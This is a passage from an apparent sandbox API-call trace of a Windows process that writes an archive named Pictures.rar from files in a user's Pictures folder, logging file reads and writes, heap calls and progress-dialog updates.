nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.984] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0064.984] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0064.984] GetFocus () returned 0x0 [0064.984] TranslateMessage (lpMsg=0x16d090) returned 0 [0064.984] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0064.984] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.984] ResetEvent (hEvent=0x190) returned 1 [0064.984] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.984] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.985] ResetEvent (hEvent=0x190) returned 1 [0064.985] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.985] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.986] ResetEvent (hEvent=0x190) returned 1 [0064.986] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.986] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.987] ResetEvent (hEvent=0x190) returned 1 [0064.987] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.987] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.988] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.991] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0064.991] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0064.991] GetFocus () returned 0x0 [0064.991] TranslateMessage (lpMsg=0x16d090) returned 0 [0064.991] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0064.991] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.992] ReadFile (in: hFile=0x1b0, lpBuffer=0x8120040, nNumberOfBytesToRead=0x400000, lpNumberOfBytesRead=0x16d480, lpOverlapped=0x0 | out: lpBuffer=0x8120040*, lpNumberOfBytesRead=0x16d480*=0x9d1d1, lpOverlapped=0x0) returned 1 [0065.001] GetTickCount () returned 0xa66931 [0065.001] GetLastError () returned 0x0 [0065.002] SetLastError (dwErrCode=0x0) [0065.002] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0065.002] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0065.002] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 86%") returned 5 [0065.002] SetWindowTextW (hWnd=0x1024e, lpString=" 100%") returned 1 [0065.002] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x56 [0065.002] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14034243149) returned 1 [0065.002] GetTickCount () returned 0xa66931 [0065.002] GetLastError () returned 0x0 [0065.002] SetLastError (dwErrCode=0x0) [0065.002] GetDlgItem (hDlg=0x10244, nIDDlgItem=154) returned 0x10256 [0065.002] GetWindowTextW (in: hWnd=0x10256, lpString=0x16bf50, nMaxCount=2560 | out: lpString="00:00:06") returned 8 [0065.002] SetWindowTextW (hWnd=0x10256, lpString="00:00:08") returned 1 [0065.002] GetTickCount () returned 0xa66931 [0065.002] GetLastError () returned 0x0 [0065.002] SetLastError (dwErrCode=0x0) [0065.003] GetDlgItem (hDlg=0x10244, nIDDlgItem=151) returned 0x1025a [0065.003] GetWindowTextW (in: hWnd=0x1025a, lpString=0x16bf50, nMaxCount=2560 | out: lpString="00:00:09") returned 8 [0065.003] SetWindowTextW (hWnd=0x1025a, lpString="00:00:00") returned 1 [0065.003] GetTickCount () returned 0xa66931 [0065.003] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x16cf28 | out: ppv=0x16cf28*=0x3b8c2f0) returned 0x0 [0065.003] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b8c2f0, hwnd=0x10244, tbpFlags=2) returned 0x0 [0065.003] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b8c2f0, hwnd=0x10244, ullCompleted=0x9378b8, ullTotal=0x940593) returned 0x0 [0065.003] TaskbarList:IUnknown:Release (This=0x3b8c2f0) returned 0x0 [0065.003] GetLastError () returned 0x36b7 [0065.003] SetLastError (dwErrCode=0x36b7) [0065.003] GetDlgItem (hDlg=0x10244, nIDDlgItem=157) returned 0x10266 [0065.003] GetDlgItem (hDlg=0x10244, nIDDlgItem=152) returned 0x10264 [0065.003] GetWindowTextW (in: hWnd=0x10264, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 92%") returned 5 [0065.003] SetWindowTextW (hWnd=0x10264, lpString=" 99%") returned 1 [0065.004] GetLastError () returned 0x0 [0065.004] SetLastError (dwErrCode=0x0) [0065.004] GetDlgItem (hDlg=0x10244, nIDDlgItem=164) returned 0x10260 [0065.004] GetWindowTextW (in: hWnd=0x10260, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 52%") returned 5 [0065.004] SetWindowTextW (hWnd=0x10260, lpString=" 89%") returned 1 [0065.004] SendMessageW (hWnd=0x10266, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x5c [0065.004] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0065.004] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0065.004] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.004] ResetEvent (hEvent=0x1a4) returned 1 [0065.004] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.004] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0065.008] ResetEvent (hEvent=0x1a4) returned 1 [0065.008] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.008] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0065.011] ResetEvent (hEvent=0x1a4) returned 1 [0065.011] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.011] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0065.013] ResetEvent (hEvent=0x1a4) returned 1 [0065.013] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.013] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0065.034] ResetEvent (hEvent=0x1a4) returned 1 [0065.034] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.034] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0065.101] ResetEvent (hEvent=0x190) returned 1 [0065.101] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.101] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.102] ResetEvent (hEvent=0x190) returned 1 [0065.102] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.102] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.103] ResetEvent (hEvent=0x190) returned 1 [0065.103] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.103] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.104] ResetEvent (hEvent=0x190) returned 1 [0065.104] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.104] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.106] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0065.108] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0065.109] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0065.109] GetFocus () returned 0x0 [0065.109] TranslateMessage (lpMsg=0x16d090) returned 0 [0065.109] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0065.109] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.109] ResetEvent (hEvent=0x190) returned 1 [0065.109] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.109] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.110] ResetEvent (hEvent=0x190) returned 1 [0065.110] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.110] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.111] ResetEvent (hEvent=0x190) returned 1 [0065.111] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.111] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.112] ResetEvent (hEvent=0x190) returned 1 [0065.112] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.112] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.114] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0065.117] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0065.117] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0065.117] GetFocus () returned 0x0 [0065.117] TranslateMessage (lpMsg=0x16d090) returned 0 [0065.117] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0065.117] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.117] ResetEvent (hEvent=0x1a4) returned 1 [0065.117] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.117] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0065.135] ResetEvent (hEvent=0x190) returned 1 [0065.135] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.135] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.136] ResetEvent (hEvent=0x190) returned 1 [0065.136] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.136] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.138] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0065.142] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0065.142] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0065.142] GetFocus () returned 0x0 [0065.142] TranslateMessage (lpMsg=0x16d090) returned 0 [0065.142] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0065.142] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.142] ReadFile (in: hFile=0x1b0, lpBuffer=0x81bd211, nNumberOfBytesToRead=0x400000, lpNumberOfBytesRead=0x16d480, lpOverlapped=0x0 | out: lpBuffer=0x81bd211*, lpNumberOfBytesRead=0x16d480*=0x0, lpOverlapped=0x0) returned 1 [0065.142] GetTickCount () returned 0xa669bd [0065.142] GetLastError () returned 0x0 [0065.142] SetLastError (dwErrCode=0x0) [0065.142] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0065.142] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0065.142] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0065.142] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0065.142] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14048288949) returned 1 [0065.143] GetTickCount () returned 0xa669bd [0065.143] GetTickCount () returned 0xa669bd [0065.143] GetTickCount () returned 0xa669bd [0065.143] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0065.143] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0065.143] GetFocus () returned 0x0 [0065.143] TranslateMessage (lpMsg=0x16d3d0) returned 0 [0065.143] DispatchMessageW (lpMsg=0x16d3d0) returned 0x0 [0065.143] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0065.143] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.143] ResetEvent (hEvent=0x190) returned 1 [0065.143] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.143] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.143] ResetEvent (hEvent=0x190) returned 1 [0065.143] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.143] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0065.144] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0xdd90, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0xdd90, lpOverlapped=0x0) returned 1 [0065.145] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0065.145] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.145] SetFilePointer (in: hFile=0x198, lDistanceToMove=4727578, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x48231a [0065.145] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x48231a [0065.145] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2f0 [0065.145] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c320 [0065.145] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c320, Size=0x48) returned 0x26fe80 [0065.145] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0065.145] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c320 [0065.145] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c320, Size=0x48) returned 0x26fed0 [0065.145] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0065.145] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0065.145] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c320 [0065.145] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.145] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.145] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c320 | out: hHeap=0x1b0000) returned 1 [0065.145] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c2f0, Size=0x48) returned 0x26fe80 [0065.145] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203cf0 [0065.145] WriteFile (in: hFile=0x198, lpBuffer=0x203cf3*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203cf3*, lpNumberOfBytesWritten=0x167f30*=0x65, lpOverlapped=0x0) returned 1 [0065.146] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c2f0 [0065.146] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x65) returned 0x2730a0 [0065.146] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.146] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0065.146] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x91010f [0065.146] CloseHandle (hObject=0x1b0) returned 1 [0065.146] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.146] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.146] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.146] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.146] FindFirstFileW (in: lpFileName="xuzEq3zwZkPG\\UhrjNpf0XOWEy -M.png", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0065.146] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0065.146] CreateFileW (lpFileName="xuzEq3zwZkPG\\UhrjNpf0XOWEy -M.png" (normalized: "c:\\users\\whuoxysd\\pictures\\xuzeq3zwzkpg\\uhrjnpf0xowey -m.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0065.146] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.146] GetTickCount () returned 0xa669cd [0065.146] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.146] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0065.146] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.146] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0065.146] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="UrPVXySoY.jpg") returned 13 [0065.147] SetWindowTextW (hWnd=0x1024c, lpString="UhrjNpf0XOWEy -M.png") returned 1 [0065.147] GetTickCount () returned 0xa669cd [0065.147] UpdateWindow (hWnd=0x10244) returned 1 [0065.147] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0065.147] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0065.147] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0065.147] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0065.147] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1a, wMilliseconds=0x346)) [0065.147] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0065.147] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=14048774663) returned 1 [0065.147] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x8cdb, lpOverlapped=0x0) returned 1 [0065.148] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d8d1b, nNumberOfBytesToRead=0xf7325, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d8d1b*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0065.148] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.148] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.148] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c320 [0065.148] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.148] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c350, Size=0x48) returned 0x26fed0 [0065.148] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0065.148] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.148] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c350, Size=0x48) returned 0x26fe80 [0065.148] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0065.148] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0065.148] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c350 [0065.148] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c380 [0065.148] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c380 | out: hHeap=0x1b0000) returned 1 [0065.148] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c350 | out: hHeap=0x1b0000) returned 1 [0065.148] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c320, Size=0x48) returned 0x26fed0 [0065.148] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203cf0 [0065.148] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0065.148] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203cf0 | out: hHeap=0x1b0000) returned 1 [0065.151] GetTickCount () returned 0xa669cd [0065.151] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=14049337892) returned 1 [0065.153] GetTickCount () returned 0xa669cd [0065.153] GetTickCount () returned 0xa669cd [0065.153] GetTickCount () returned 0xa669cd [0065.153] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.153] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0065.153] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.154] ResetEvent (hEvent=0x1a4) returned 1 [0065.154] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.154] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0065.155] ResetEvent (hEvent=0x1a4) returned 1 [0065.155] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.155] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0065.157] GetTickCount () returned 0xa669cd [0065.157] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=14049703644) returned 1 [0065.157] GetTickCount () returned 0xa669cd [0065.157] GetTickCount () returned 0xa669cd [0065.157] GetTickCount () returned 0xa669cd [0065.157] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0065.157] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0065.157] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.157] ResetEvent (hEvent=0x190) returned 1 [0065.157] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.157] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 